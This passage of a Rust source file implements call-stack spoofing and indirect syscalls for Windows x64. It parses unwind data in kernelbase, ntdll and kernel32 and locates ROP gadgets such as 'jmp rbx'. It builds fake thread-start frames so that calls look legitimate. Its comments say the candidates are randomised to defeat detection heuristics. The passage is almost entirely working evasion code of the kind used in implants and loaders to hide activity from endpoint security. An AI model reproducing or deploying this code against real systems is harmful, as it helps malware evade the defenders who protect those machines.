| if len > 2 { config.arg03 = args[2]; } 206 | if len > 3 { config.arg04 = args[3]; } 207 | if len > 4 { config.arg05 = args[4]; } 208 | if len > 5 { config.arg06 = args[5]; } 209 | if len > 6 { config.arg07 = args[6]; } 210 | if len > 7 { config.arg08 = args[7]; } 211 | if len > 8 { config.arg09 = args[8]; } 212 | if len > 9 { config.arg10 = args[9]; } 213 | if len > 10 { config.arg11 = args[10]; } 214 | 215 | // Spoof kind handling 216 | match kind { 217 | // Executes a function that is not syscall 218 | SpoofKind::Function => { 219 | config.spoof_function = addr; 220 | }, 221 | 222 | // Executes a syscall indirectly 223 | SpoofKind::Syscall(name) => { 224 | // Retrieves the ntdll address 225 | let ntdll = dinvk::get_ntdll_address(); 226 | if ntdll.is_null() { 227 | return None; 228 | } 229 | 230 | // Retrieves the address of the function 231 | let addr = GetProcAddress(ntdll, name, None); 232 | if addr.is_null() { 233 | return None; 234 | } 235 | 236 | // Configures the parameters to be sent to execute the syscall indirectly 237 | config.is_syscall = true as u32; 238 | config.ssn = dinvk::ssn(name, ntdll)?; 239 | config.spoof_function = dinvk::get_syscall_address(addr)? as *const c_void; 240 | } 241 | } 242 | 243 | // Call the external spoofing routine with the full config. 244 | let result = unsafe { Spoof(&mut config) }; 245 | Some(result) 246 | } 247 | 248 | /// Performs a synthetic version of call stack spoofing by simulating a startup stack layout. 249 | /// 250 | /// Unlike [`spoof`], this method uses hardcoded stack frames for `BaseThreadInitThunk` and 251 | /// `RtlUserThreadStart` to simulate a legitimate call stack layout without searching the 252 | /// current thread's real stack. 253 | /// 254 | /// # Arguments 255 | /// 256 | /// * `addr` - Target function pointer. Can be `null` if `kind` is `SpoofKind::Syscall`. 257 | /// * `args` - Up to 11 arguments that will be passed to the target, cast as `*const c_void`. 258 | /// * `kind` - The spoofing mode: 259 | /// - [`SpoofKind::Function`]: Directly call a function using the spoofed call stack. 260 | /// - [`SpoofKind::Syscall`]: Resolve and invoke a Windows syscall via its shadow stub. 261 | /// 262 | /// # Returns 263 | /// 264 | /// * `Some(*mut c_void)` — Result of the spoofed execution, or null if the function returns void. 265 | /// * `None` — If the spoofing setup failed (e.g., missing gadget, prologue mismatch, etc.). 266 | pub fn spoof_synthetic(addr: *mut c_void, args: &[*const c_void], kind: SpoofKind) -> Option<*mut c_void> { 267 | // Max 11 arguments allowed 268 | if args.len() > 11 { 269 | return None; 270 | } 271 | 272 | // Prevent calling a null function unless it's a syscall 273 | if let SpoofKind::Function = kind { 274 | if addr.is_null() { 275 | return None; 276 | } 277 | } 278 | 279 | // Preparing the `Config` structure for spoofing 280 | let mut config = Config::default(); 281 | 282 | // Get the base address of kernelbase.dll and extract the exception directory. 283 | let kernelbase = GetModuleHandle(s!("kernelbase.dll"), None); 284 | let (runtime_table, runtime_size) = get_exception_addr(kernelbase)?; 285 | 286 | // Parse the IMAGE_RUNTIME_FUNCTION table into usable Rust slices. 287 | let tables = unsafe { from_raw_parts(runtime_table, runtime_size as usize / size_of::()) }; 288 | 289 | // Preparing addresses to use as artificial frames to emulate thread stack initialization 290 | let ntdll = dinvk::get_ntdll_address(); 291 | let kernel32 = GetModuleHandle(s!("kernel32.dll"), None); 292 | let rlt_user_addr = GetProcAddress(ntdll, s!("RtlUserThreadStart"), None); 293 | let base_thread_addr = GetProcAddress(kernel32, s!("BaseThreadInitThunk"), None); 294 | config.rtl_user_addr = rlt_user_addr; 295 | config.base_thread_addr = base_thread_addr; 296 | 297 | // Recovering the IMAGE_RUNTIME_FUNCTION structure of target apis 298 | let rtl_user_runtime = find_runtime_function(ntdll, (rlt_user_addr as usize - ntdll as usize) as u32)?; 299 | let base_thread_runtime = find_runtime_function(kernel32, (base_thread_addr as usize - kernel32 as usize) as u32)?; 300 | 301 | // Recovering the stack size of target apis 302 | let rtl_user_size = StackFrame::ignoring_set_fpreg(ntdll, rtl_user_runtime)?; 303 | let base_thread_size = StackFrame::ignoring_set_fpreg(kernel32, base_thread_runtime)?; 304 | config.rtl_user_thread_size = rtl_user_size as u64; 305 | config.base_thread_size = base_thread_size as u64; 306 | 307 | // First frame: a normal function with a clean prologue 308 | let first_prolog = Self::find_prolog(kernelbase, tables)?; 309 | config.first_frame_fp = (first_prolog.frame + first_prolog.offset as u64) as *const c_void; 310 | config.first_frame_size = first_prolog.stack_size as u64; 311 | 312 | // Second frame: looks specifically for a prologue with `push rbp`. 313 | let second_prolog = Self::find_push_rbp(kernelbase, tables)?; 314 | config.second_frame_fp = (second_prolog.frame + second_prolog.offset as u64) as *const c_void; 315 | config.second_frame_size = second_prolog.stack_size as u64; 316 | config.rbp_stack_offset = second_prolog.rbp_offset as u64; 317 | 318 | // Find a gadget `add rsp, 0x58; ret`. 319 | let (add_rsp_addr, size) = Self::find_gadget(kernelbase, b!(&[0x48, 0x83, 0xC4, 0x58, 0xC3]), tables)?; 320 | config.add_rsp_gadget = add_rsp_addr as *const c_void; 321 | config.add_rsp_frame_size = size as u64; 322 | 323 | // Find a gadget that performs `jmp rbx` - to restore the original call. 324 | let (jmp_rbx_addr, size) = Self::find_gadget(kernelbase, b!(&[0xFF, 0x23]), tables)?; 325 | config.jmp_rbx_gadget = jmp_rbx_addr as *const c_void; 326 | config.jmp_rbx_frame_size = size as u64; 327 | 328 | // Preparing arguments 329 | let len = args.len(); 330 | config.number_args = len as u32; 331 | if len > 0 { config.arg01 = args[0]; } 332 | if len > 1 { config.arg02 = args[1]; } 333 | if len > 2 { config.arg03 = args[2]; } 334 | if len > 3 { config.arg04 = args[3]; } 335 | if len > 4 { config.arg05 = args[4]; } 336 | if len > 5 { config.arg06 = args[5]; } 337 | if len > 6 { config.arg07 = args[6]; } 338 | if len > 7 { config.arg08 = args[7]; } 339 | if len > 8 { config.arg09 = args[8]; } 340 | if len > 9 { config.arg10 = args[9]; } 341 | if len > 10 { config.arg11 = args[10]; } 342 | 343 | // Spoof kind handling 344 | match kind { 345 | // Executes a function that is not syscall 346 | SpoofKind::Function => { 347 | config.spoof_function = addr; 348 | }, 349 | 350 | // Executes a syscall indirectly 351 | SpoofKind::Syscall(name) => { 352 | // Retrieves the address of the function 353 | let addr = GetProcAddress(ntdll, name, None); 354 | if addr.is_null() { 355 | return None; 356 | } 357 | 358 | // Configures the parameters to be sent to execute the syscall indirectly 359 | config.is_syscall = true as u32; 360 | config.ssn = dinvk::ssn(name, ntdll)?; 361 | config.spoof_function = dinvk::get_syscall_address(addr)? as *const c_void; 362 | } 363 | } 364 | 365 | // Call the external spoofing routine with the full config. 366 | let result = unsafe { SpoofSynthetic(&mut config) }; 367 | Some(result) 368 | } 369 | 370 | /// Searches for a specific instruction pattern inside a function’s code region, 371 | /// returning the relative offset from the function's start if found. 372 | /// 373 | /// # Arguments 374 | /// 375 | /// * `module` - Base address of the module containing the target function. 376 | /// * `runtime` - A reference to the IMAGE_RUNTIME_FUNCTION describing the function. 377 | /// 378 | /// # Returns 379 | /// 380 | /// * `Some(offset)` — The relative offset inside the function where the gadget was found. 381 | /// * `None` — If the gadget pattern wasn't found. 382 | /// 383 | /// # Notes 384 | /// 385 | /// The pattern being searched is a `call qword ptr [rip+0]`, encoded as `48 FF 15 00 00 00 00`, 386 | /// and the function returns the offset *after* the full instruction (+7). 387 | fn find_valid_instruction_offset(module: *mut c_void, runtime: &IMAGE_RUNTIME_FUNCTION) -> Option { 388 | let start = module as u64 + runtime.BeginAddress as u64; 389 | let end = module as u64 + runtime.EndAddress as u64; 390 | let size = end - start; 391 | 392 | // Find a gadget `call qword ptr [rip+0]` 393 | let pattern = b!(&[0x48, 0xFF, 0x15]); 394 | unsafe { 395 | let bytes = from_raw_parts(start as *const u8, size as usize); 396 | if let Some(pos) = bytes.windows(pattern.len()).position(|window| window == pattern) { 397 | // Returns valid RVA: offset of the gadget inside the function 398 | return Some((pos + 7) as u32); 399 | } 400 | } 401 | 402 | None 403 | } 404 | 405 | /// Scans the memory of a module for a specific byte pattern, constrained to 406 | /// valid runtime functions with corresponding unwind info. 407 | /// 408 | /// # Arguments 409 | /// 410 | /// * `module` — Base address of the loaded module to scan (e.g., `kernelbase.dll`). 411 | /// * `pattern` — Byte sequence representing the target gadget (e.g., `[0xFF, 0x23]` for `jmp rbx`). 412 | /// * `runtime_table` — Slice of `IMAGE_RUNTIME_FUNCTION` entries describing the module's valid code ranges. 413 | /// 414 | /// # Returns 415 | /// 416 | /// * `Some((address, frame_size))` — Pointer to the start of the matching gadget and the associated stack frame size. 417 | /// * `None` — If the gadget was not found. 418 | fn find_gadget(module: *mut c_void, pattern: &[u8], runtime_table: &[IMAGE_RUNTIME_FUNCTION]) -> Option<(*mut u8, u32)> { 419 | unsafe { 420 | let mut gadgets = Vec::new(); 421 | for runtime in runtime_table.iter() { 422 | let start = module as u64 + runtime.BeginAddress as u64; 423 | let end = module as u64 + runtime.EndAddress as u64; 424 | let size = end - start; 425 | 426 | let bytes = from_raw_parts(start as *const u8, size as usize); 427 | if let Some(pos) = bytes.windows(pattern.len()).position(|window| window == pattern) { 428 | let addr = (start as *mut u8).add(pos); 429 | if let Some(size) = StackFrame::ignoring_set_fpreg(module, runtime) { 430 | if size != 0 { 431 | gadgets.push((addr, size)) 432 | } 433 | } 434 | } 435 | } 436 | 437 | // No gadget found? return None 438 | if gadgets.is_empty() { 439 | return None; 440 | } 441 | 442 | // Randomizes the order of possible frames found (if there is more than one), 443 | // helps to shuffle patterns and reduce repetition-based heuristics 444 | shuffle(&mut gadgets); 445 | 446 | // Take the first occurrence 447 | gadgets.get(0).copied() 448 | } 449 | } 450 | 451 | /// Scans the current thread's stack to locate the return address that falls within 452 | /// the range of the `BaseThreadInitThunk` function from `kernel32.dll`. 453 | /// 454 | /// # Returns 455 | /// 456 | /// * `Some(usize)` — The stack address (`RSP`) where a return to `BaseThreadInitThunk` was found. 457 | /// * `None` — If `kernel32.dll` or the target function could not be located, or 458 | /// if no such return address is found on the stack. 459 | fn find_base_thread_return_address() -> Option { 460 | unsafe { 461 | // Get handle for kernel32.dll 462 | let kernel32 = GetModuleHandle(s!("kernel32.dll"), None); 463 | if kernel32.is_null() { 464 | return None; 465 | } 466 | 467 | // Resolves the address of the BaseThreadInitThunk function 468 | let base_thread = GetProcAddress(kernel32, s!("BaseThreadInitThunk"), None); 469 | if base_thread.is_null() { 470 | return None; 471 | } 472 | 473 | // Calculate the size of the BaseThreadInitThunk function 474 | let base_addr = base_thread as usize; 475 | let size = get_function_size(kernel32, base_thread)? as usize; 476 | 477 | // Access the TEB and stack limits 478 | let teb = __readgsqword(0x30) as *const TEB; 479 | let stack_base = (*teb).Reserved1[1] as usize; 480 | let stack_limit = (*teb).Reserved1[2] as usize; 481 | 482 | // Stack scanning begins 483 | let mut rsp = stack_base - 8; 484 | while rsp >= stack_limit { 485 | let val = (rsp as *const usize).read(); 486 | 487 | // Checks if the return is in the BaseThreadInitThunk range 488 | if val >= base_addr && val < base_addr + size { 489 | return Some(rsp); 490 | } 491 | 492 | rsp -= 8; 493 | } 494 | 495 | None 496 | } 497 | } 498 | 499 | /// Scans the `RUNTIME_FUNCTION` table to locate the first function with a prologue 500 | /// considered safe and predictable for call stack spoofing. 501 | /// 502 | /// # Arguments 503 | /// 504 | /// * `module_base` - Base address of the module being analyzed. 505 | /// * `runtime_table` - Slice containing the exception directory entries (`IMAGE_RUNTIME_FUNCTION`). 506 | /// 507 | /// # Returns 508 | /// 509 | /// * `Some(Prolog)` — If a suitable prologue is found, returns its metadata as a `Prolog` struct. 510 | /// * `None` — If no valid unwindable prologue with a valid instruction offset is located. 511 | fn find_prolog(module_base: *mut c_void, runtime_table: &[IMAGE_RUNTIME_FUNCTION]) -> Option { 512 | let mut prologs = Vec::new(); 513 | for runtime in runtime_table.iter() { 514 | match StackFrame::size(module_base, runtime) { 515 | Some((true, stack_size)) => { 516 | if let Some(offset) = Self::find_valid_instruction_offset(module_base, runtime) { 517 | let frame = module_base as u64 + runtime.BeginAddress as u64; 518 | let prolog = Prolog { 519 | frame, 520 | stack_size, 521 | offset, 522 | rbp_offset: 0 523 | }; 524 | 525 | prologs.push(prolog); 526 | } 527 | } 528 | _ => {} 529 | } 530 | } 531 | 532 | // No prologue found? return None 533 | if prologs.is_empty() { 534 | return None; 535 | } 536 | 537 | // Randomizes the order of possible frames found (if there is more than one), 538 | // helps to shuffle patterns and reduce repetition-based heuristics 539 | shuffle(&mut prologs); 540 | 541 | // Take the first occurrence 542 | prologs.get(0).copied() 543 | } 544 | 545 | /// Searches for the first function in the exception directory that contains a classic 546 | /// `push rbp` prologue, which is typically associated with frame pointer-based stack frames. 547 | /// 548 | /// # Arguments 549 | /// 550 | /// * `module_base` - Base address of the loaded module. 551 | /// * `runtime_table` - Slice of entries from the exception directory (`IMAGE_RUNTIME_FUNCTION`). 552 | /// 553 | /// # Returns 554 | /// 555 | /// * `Some(Prolog)` — If a valid function is found with `push rbp` and a proper unwindable frame. 556 | /// * `None` — If no appropriate frame pointer-based function is located. 557 | fn find_push_rbp(module_base: *mut c_void, runtime_table: &[IMAGE_RUNTIME_FUNCTION]) -> Option { 558 | let mut prologs = Vec::new(); 559 | for runtime in runtime_table.iter() { 560 | if let Some((rbp_offset, stack_size)) = StackFrame::rbp_is_pushed_on_stack(module_base, runtime) { 561 | if rbp_offset != 0 && stack_size != 0 && stack_size > rbp_offset { 562 | if let Some(offset) = Self::find_valid_instruction_offset(module_base, runtime) { 563 | let frame = module_base as u64 + runtime.BeginAddress as u64; 564 | let prolog = Prolog { 565 | frame, 566 | stack_size, 567 | offset, 568 | rbp_offset 569 | }; 570 | 571 | prologs.push(prolog); 572 | } 573 | 574 | } 575 | } 576 | } 577 | 578 | // No prologue found? return None 579 | if prologs.is_empty() { 580 | return None; 581 | } 582 | 583 | // The first pop rbp frame is not suitable on most windows versions 584 | prologs.remove(0); 585 | 586 | // Randomizes the order of possible frames found (if there is more than one), 587 | // helps to shuffle patterns and reduce repetition-based heuristics 588 | shuffle(&mut prologs); 589 | 590 | // Take the first occurrence 591 | prologs.get(0).copied() 592 | } 593 | } 594 | 595 | /// Represents a utility struct for stack frame analysis and spoofing logic. 596 | struct StackFrame; 597 | 598 | impl StackFrame { 599 | /// Checks if the `RBP` register is pushed or saved on the stack in a spoofable manner. 600 | /// 601 | /// # Arguments 602 | /// 603 | /// * `module` - Base address of the loaded module. 604 | /// * `runtime` - A reference to the function's `IMAGE_RUNTIME_FUNCTION`. 605 | /// 606 | /// # Returns 607 | /// 608 | /// * `Some((rbp_offset, total_stack))` — If `RBP` is pushed or saved safely. 609 | /// - `rbp_offset` — Offset (in bytes) from `RSP` where `RBP` is stored. 610 | /// - `total_stack` — Total stack size allocated by the function. 611 | /// * `None` — If `RBP` is not safely saved or `RSP` is manipulated directly. 612 | fn rbp_is_pushed_on_stack(module: *mut c_void, runtime: &IMAGE_RUNTIME_FUNCTION) -> Option<(u32, u32)> { 613 | unsafe { 614 | let unwind_info = (module as usize + runtime.UnwindData as usize) as *mut UNWIND_INFO; 615 | let unwind_code = (unwind_info as *mut u8).add(4) as *mut UNWIND_CODE; 616 | let flag = (*unwind_info).VersionFlags.Flags(); 617 | 618 | let mut i = 0usize; 619 | let mut total_stack = 0u32; 620 | let mut rbp_pushed = false; 621 | let mut stack_offset = 0; 622 | 623 | while i < (*unwind_info).CountOfCodes as usize { 624 | // Accessing `UNWIND_CODE` based on the index 625 | let unwind_code = unwind_code.add(i); 626 | 627 | // Information used in operation codes 628 | let op_info = (*unwind_code).Anonymous.OpInfo() as usize; 629 | let unwind_op = (*unwind_code).Anonymous.UnwindOp(); 630 | 631 | match UNWIND_OP_CODES::try_from(unwind_op) { 632 | // Saves a non-volatile register on the stack. 633 | // 634 | // Example: push 635 | // 636 | // println!("[0x{:?}] - UWOP_PUSH_NONVOL ({:?}, {:x?})", unwind_op, registers[op_info as usize], code_offset); 637 | Ok(UWOP_PUSH_NONVOL) => { 638 | if Registers::RSP == op_info { 639 | return None; 640 | } 641 | 642 | if Registers::RBP == op_info { 643 | if rbp_pushed { 644 | return None; 645 | } 646 | 647 | rbp_pushed = true; 648 | stack_offset = total_stack; 649 | } 650 | 651 | total_stack += 8; 652 | i += 1; 653 | }, 654 | 655 | // Allocates large space on the stack. 656 | // - OpInfo == 0: The next slot contains the /8 size of the allocation (maximum 512 KB - 8). 657 | // - OpInfo == 1: The next two slots contain the full size of the allocation (up to 4 GB - 8). 658 | // 659 | // Example (OpInfo == 0): sub rsp, 0x100 ; Allocates 256 bytes 660 | // Example (OpInfo == 1): sub rsp, 0x10000 ; Allocates 65536 bytes (two slots used) 661 | // 662 | // println!("[0x{:x?}] - UWOP_ALLOC_LARGE (Size: {:x?})", unwind_op, frame_offset); 663 | Ok(UWOP_ALLOC_LARGE) => { 664 | if (*unwind_code).Anonymous.OpInfo() == 0 { 665 | // Case 1: OpInfo == 0 (Size in 1 slot, divided by 8) 666 | // Multiplies by 8 to the actual value 667 | 668 | let frame_offset = ((*unwind_code.add(1)).FrameOffset) * 8; 669 | total_stack += frame_offset as u32; 670 | 671 | // Consumes 2 slots (1 for the instruction, 1 for the size divided by 8) 672 | i += 2 673 | } else { 674 | // Case 2: OpInfo == 1 (Size in 2 slots, 32 bits) 675 | let frame_offset = *(unwind_code.add(1) as *mut u32); 676 | total_stack += frame_offset; 677 | 678 | // Consumes 3 slots (1 for the instruction, 2 for the full size) 679 | i += 3 680 | } 681 | }, 682 | 683 | // Allocates small space in the stack. 684 | // 685 | // Example (OpInfo = 3): sub rsp, 0x20 ; Aloca 32 bytes (OpInfo + 1) * 8 686 | // 687 | // println!("[0x{:x?}] - UWOP_ALLOC_SMALL (0x{:x?})", unwind_op, (op_info + 1) * 8); 688 | Ok(UWOP_ALLOC_SMALL) => { 689 | total_stack += ((op_info + 1) * 8) as u32; 690 | i += 1; 691 | }, 692 | 693 | // UWOP_SAVE_NONVOL: Saves the contents of a non-volatile register in a specific position on the stack. 694 | // - Reg: Name of the saved register. 695 | // - FrameOffset: Offset indicating where the value of the register is saved. 696 | // 697 | // Example: mov [rsp + 0x40], rsi ; Saves the contents of RSI in RSP + 0x40 698 | // 699 | // println!("[0x{:x?}] - UWOP_SAVE_NONVOL ({:?}, Offset: {:x?})", unwind_op, registers[op_info as usize], frame_offset * 8); 700 | Ok(UWOP_SAVE_NONVOL) => { 701 | if Registers::RSP == op_info { 702 | return None; 703 | } 704 | 705 | if Registers::RBP == op_info { 706 | if rbp_pushed { 707 | return None; 708 | } 709 | 710 | let offset = (*unwind_code.add(1)).FrameOffset * 8; 711 | stack_offset = total_stack + offset as u32; 712 | rbp_pushed = true; 713 | } 714 | 715 | i += 2; 716 | }, 717 | 718 | // Saves a non-volatile register to a stack address with a long offset. 719 | // - Reg: Name of the saved register. 720 | // - FrameOffset: Long offset indicating where the value of the register is saved. 721 | // 722 | // Example: mov [rsp + 0x1040], rsi ; Saves the contents of RSI in RSP + 0x1040. 723 | // 724 | // println!("[0x{:x?}] - UWOP_SAVE_NONVOL_BIG ({:?}, Offset: {:x?})", unwind_op, registers[unwind_op as usize], frame_offset); 725 | Ok(UWOP_SAVE_NONVOL_BIG) => { 726 | if Registers::RSP == op_info { 727 | return None; 728 | } 729 | 730 | if Registers::RBP == op_info { 731 | if rbp_pushed { 732 | return None; 733 | } 734 | 735 | let offset = *(unwind_code.add(1) as *mut u32); 736 | stack_offset = total_stack + offset; 737 | rbp_pushed = true; 738 | } 739 | 740 | i += 3; 741 | }, 742 | 743 | // Return 744 | Ok(UWOP_SET_FPREG) => return None, 745 | 746 | // - Reg: Name of the saved XMM register. 747 | // - FrameOffset: Offset indicating where the value of the register is saved. 748 | // 749 | // Example: movaps [rsp + 0x20], xmm6 ; Saves the contents of XMM6 in RSP + 0x20. 750 | Ok(UWOP_SAVE_XMM128) => i += 2, 751 | 752 | // UWOP_SAVE_XMM128BIG: Saves the contents of a non-volatile XMM register to a stack address with a long offset. 753 | // - Reg: Name of the saved XMM register. 754 | // - FrameOffset: Long offset indicating where the value of the register is saved. 755 | // 756 | // Example: movaps [rsp + 0x1040], xmm6 ; Saves the contents of XMM6 in RSP + 0x1040. 757 | Ok(UWOP_SAVE_XMM128BIG) => i += 3, 758 | 759 | // Reserved code, not currently used. 760 | Ok(UWOP_EPILOG) | Ok(UWOP_SPARE_CODE) => i += 1, 761 | 762 | // Push a machine frame. This unwind code is used to record the effect of a hardware interrupt or exception. 763 | Ok(UWOP_PUSH_MACH_FRAME) => { 764 | total_stack += if op_info == 0 { 0x40 } else { 0x48 }; 765 | i += 1 766 | }, 767 | 768 | _ => {} 769 | } 770 | } 771 | 772 | // If there is a chain unwind structure, it too must be processed 773 | // recursively and included in the stack size calculation. 774 | if (flag & UNW_FLAG_CHAININFO) != 0 { 775 | let count = (*unwind_info).CountOfCodes as usize; 776 | let index = if count & 1 == 1 { count + 1 } else { count }; 777 | let runtime = unwind_code.add(index) as *const IMAGE_RUNTIME_FUNCTION; 778 | if let Some((_, child_total)) = Self::rbp_is_pushed_on_stack(module, &*runtime) { 779 | total_stack += child_total; 780 | } else { 781 | return None; 782 | } 783 | } 784 | 785 | Some((stack_offset, total_stack)) 786 | } 787 | } 788 | 789 | /// Calculates the stack size of a function and checks if it uses `RBP` as frame pointer. 790 | /// 791 | /// # Arguments 792 | /// 793 | /// * `module` - Base address of the loaded module. 794 | /// * `runtime` - A reference to the function's `IMAGE_RUNTIME_FUNCTION`. 795 | /// 796 | /// # Returns 797 | /// 798 | /// * `Some((true, stack_size))` — If the frame is valid and uses `RBP` as frame pointer. 799 | /// * `Some((false, stack_size))` — If the frame has `setfp` but not `rbp`. 800 | /// * `None` — If the frame is unsafe for spoofing or uses invalid constructs. 801 | fn size(module: *mut c_void, runtime: &IMAGE_RUNTIME_FUNCTION) -> Option<(bool, u32)> { 802 | unsafe { 803 | let unwind_info = (module as usize + runtime.UnwindData as usize) as *mut UNWIND_INFO; 804 | let unwind_code = (unwind_info as *mut u8).add(4) as *mut UNWIND_CODE; 805 | let flag = (*unwind_info).VersionFlags.Flags(); 806 | 807 | let mut i = 0usize; 808 | let mut set_fpreg_hit = false; 809 | let mut total_stack = 0i32; 810 | while i < (*unwind_info).CountOfCodes as usize { 811 | // Accessing `UNWIND_CODE` based on the index 812 | let unwind_code = unwind_code.add(i); 813 | 814 | // Information used in operation codes 815 | let op_info = (*unwind_code).Anonymous.OpInfo() as usize; 816 | let unwind_op = (*unwind_code).Anonymous.UnwindOp(); 817 | 818 | match UNWIND_OP_CODES::try_from(unwind_op) { 819 | // Saves a non-volatile register on the stack. 820 | // 821 | // Example: push 822 | // 823 | // println!("[0x{:?}] - UWOP_PUSH_NONVOL ({:?}, {:x?})", unwind_op, registers[op_info as usize], code_offset); 824 | Ok(UWOP_PUSH_NONVOL) => { 825 | if Registers::RSP == op_info && !set_fpreg_hit { 826 | return None; 827 | } 828 | 829 | total_stack += 8; 830 | i += 1; 831 | }, 832 | 833 | // Allocates small space in the stack. 834 | // 835 | // Example (OpInfo = 3): sub rsp, 0x20 ; Aloca 32 bytes (OpInfo + 1) * 8 836 | // 837 | // println!("[0x{:x?}] - UWOP_ALLOC_SMALL (0x{:x?})", unwind_op, (op_info + 1) * 8); 838 | Ok(UWOP_ALLOC_SMALL) => { 839 | total_stack += ((op_info + 1) * 8) as i32; 840 | i += 1; 841 | }, 842 | 843 | // Allocates large space on the stack. 844 | // - OpInfo == 0: The next slot contains the /8 size of the allocation (maximum 512 KB - 8). 845 | // - OpInfo == 1: The next two slots contain the full size of the allocation (up to 4 GB - 8). 846 | // 847 | // Example (OpInfo == 0): sub rsp, 0x100 ; Allocates 256 bytes 848 | // Example (OpInfo == 1): sub rsp, 0x10000 ; Allocates 65536 bytes (two slots used) 849 | // 850 | // println!("[0x{:x?}] - UWOP_ALLOC_LARGE (Size: {:x?})", unwind_op, frame_offset); 851 | Ok(UWOP_ALLOC_LARGE) => { 852 | if (*unwind_code).Anonymous.OpInfo() == 0 { 853 | // Case 1: OpInfo == 0 (Size in 1 slot, divided by 8) 854 | // Multiplies by 8 to the actual value 855 | 856 | let frame_offset = ((*unwind_code.add(1)).FrameOffset) * 8; 857 | total_stack += frame_offset as i32; 858 | 859 | // Consumes 2 slots (1 for the instruction, 1 for the size divided by 8) 860 | i += 2 861 | } else { 862 | // Case 2: OpInfo == 1 (Size in 2 slots, 32 bits) 863 | let frame_offset = *(unwind_code.add(1) as *mut i32); 864 | total_stack += frame_offset; 865 | 866 | // Consumes 3 slots (1 for the instruction, 2 for the full size) 867 | i += 3 868 | } 869 | }, 870 | 871 | // UWOP_SAVE_NONVOL: Saves the contents of a non-volatile register in a specific position on the stack. 872 | // - Reg: Name of the saved register. 873 | // - FrameOffset: Offset indicating where the value of the register is saved. 874 | // 875 | // Example: mov [rsp + 0x40], rsi ; Saves the contents of RSI in RSP + 0x40 876 | // 877 | // println!("[0x{:x?}] - UWOP_SAVE_NONVOL ({:?}, Offset: {:x?})", unwind_op, registers[op_info as usize], frame_offset * 8); 878 | Ok(UWOP_SAVE_NONVOL) => { 879 | if Registers::RSP == op_info || Registers::RBP == op_info { 880 | return None; 881 | } 882 | 883 | i += 2; 884 | }, 885 | 886 | // Saves a non-volatile register to a stack address with a long offset. 887 | // - Reg: Name of the saved register. 888 | // - FrameOffset: Long offset indicating where the value of the register is saved. 889 | // 890 | // Example: mov [rsp + 0x1040], rsi ; Saves the contents of RSI in RSP + 0x1040. 891 | // 892 | // println!("[0x{:x?}] - UWOP_SAVE_NONVOL_BIG ({:?}, Offset: {:x?})", unwind_op, registers[unwind_op as usize], frame_offset); 893 | Ok(UWOP_SAVE_NONVOL_BIG) => { 894 | if Registers::RSP == op_info || Registers::RBP == op_info { 895 | return None; 896 | } 897 | 898 | i += 3; 899 | }, 900 | 901 | // Saves the contents of a non-volatile XMM register on the stack. 902 | // - Reg: Name of the saved XMM register. 903 | // - FrameOffset: Offset indicating where the value of the register is saved. 904 | // 905 | // Example: movaps [rsp + 0x20], xmm6 ; Saves the contents of XMM6 in RSP + 0x20. 906 | Ok(UWOP_SAVE_XMM128) => i += 2, 907 | 908 | // UWOP_SAVE_XMM128BIG: Saves the contents of a non-volatile XMM register to a stack address with a long offset. 909 | // - Reg: Name of the saved XMM register. 910 | // - FrameOffset: Long offset indicating where the value of the register is saved. 911 | // 912 | // Example: movaps [rsp + 0x1040], xmm6 ; Saves the contents of XMM6 in RSP + 0x1040. 913 | Ok(UWOP_SAVE_XMM128BIG) => i += 3, 914 | 915 | // UWOP_SET_FPREG: Marks use of register as stack base (e.g. RBP). 916 | // Ignore if not RBP, has EH handler or chained unwind. 917 | // Subtract `FrameOffset << 4` from the stack total. 918 | Ok(UWOP_SET_FPREG) => { 919 | if (flag & UNW_FLAG_EHANDLER) != 0 && (flag & UNW_FLAG_CHAININFO) != 0 { 920 | return None; 921 | } 922 | 923 | if (*unwind_info).FrameInfo.FrameRegister() != Registers::RBP as u8 { 924 | return None; 925 | } 926 | 927 | set_fpreg_hit = true; 928 | let offset = ((*unwind_info).FrameInfo.FrameOffset() as i32) << 4; 929 | total_stack -= offset; 930 | i += 1 931 | }, 932 | 933 | // Reserved code, not currently used. 934 | Ok(UWOP_EPILOG) | Ok(UWOP_SPARE_CODE) => i += 1, 935 | 936 | // Push a machine frame. This unwind code is used to record the effect of a hardware interrupt or exception. 937 | Ok(UWOP_PUSH_MACH_FRAME) => { 938 | total_stack += if op_info == 0 { 0x40 } else { 0x48 }; 939 | i += 1 940 | }, 941 | _ => {} 942 | } 943 | } 944 | 945 | // If there is a chain unwind structure, it too must be processed 946 | // recursively and included in the stack size calculation. 947 | if (flag & UNW_FLAG_CHAININFO) != 0 { 948 | let count = (*unwind_info).CountOfCodes as usize; 949 | let index = if count & 1 == 1 { count + 1 } else { count }; 950 | let runtime = unwind_code.add(index) as *const IMAGE_RUNTIME_FUNCTION; 951 | if let Some((chained_fpreg_hit, chained_stack)) = Self::size(module, &*runtime) { 952 | total_stack += chained_stack as i32; 953 | set_fpreg_hit |= chained_fpreg_hit; 954 | } else { 955 | return None; 956 | } 957 | } 958 | 959 | Some((set_fpreg_hit, total_stack as u32)) 960 | } 961 | } 962 | 963 | /// Calculates the total stack frame size of a function, ignoring `setfp` frames. 964 | /// 965 | /// Rejects any function that uses `UWOP_SET_FPREG` or manipulates `RSP` directly. 966 | /// 967 | /// # Arguments 968 | /// 969 | /// * `module` - Base address of the loaded module. 970 | /// * `runtime` - A reference to the function's `IMAGE_RUNTIME_FUNCTION`. 971 | /// 972 | /// # Returns 973 | /// 974 | /// * Stack size in bytes if the frame is spoof-safe. 975 | /// * Returns `0` if the frame is unsafe or unspoofable. 976 | fn ignoring_set_fpreg(module: *mut c_void, runtime: &IMAGE_RUNTIME_FUNCTION) -> Option { 977 | unsafe { 978 | let unwind_info = (module as usize + runtime.UnwindData as usize) as *mut UNWIND_INFO; 979 | let unwind_code = (unwind_info as *mut u8).add(4) as *mut UNWIND_CODE; 980 | let flag = (*unwind_info).VersionFlags.Flags(); 981 | 982 | let mut i = 0usize; 983 | let mut total_stack = 0u32; 984 | while i < (*unwind_info).CountOfCodes as usize { 985 | // Accessing `UNWIND_CODE` based on the index 986 | let unwind_code = unwind_code.add(i); 987 | 988 | // Information used in operation codes 989 | let op_info = (*unwind_code).Anonymous.OpInfo() as usize; 990 | let unwind_op = (*unwind_code).Anonymous.UnwindOp(); 991 | 992 | match UNWIND_OP_CODES::try_from(unwind_op) { 993 | // Saves a non-volatile register on the stack. 994 | // 995 | // Example: push 996 | // 997 | // println!("[0x{:?}] - UWOP_PUSH_NONVOL ({:?}, {:x?})", unwind_op, registers[op_info as usize], code_offset); 998 | Ok(UWOP_PUSH_NONVOL) => { 999 | if Registers::RSP == op_info { 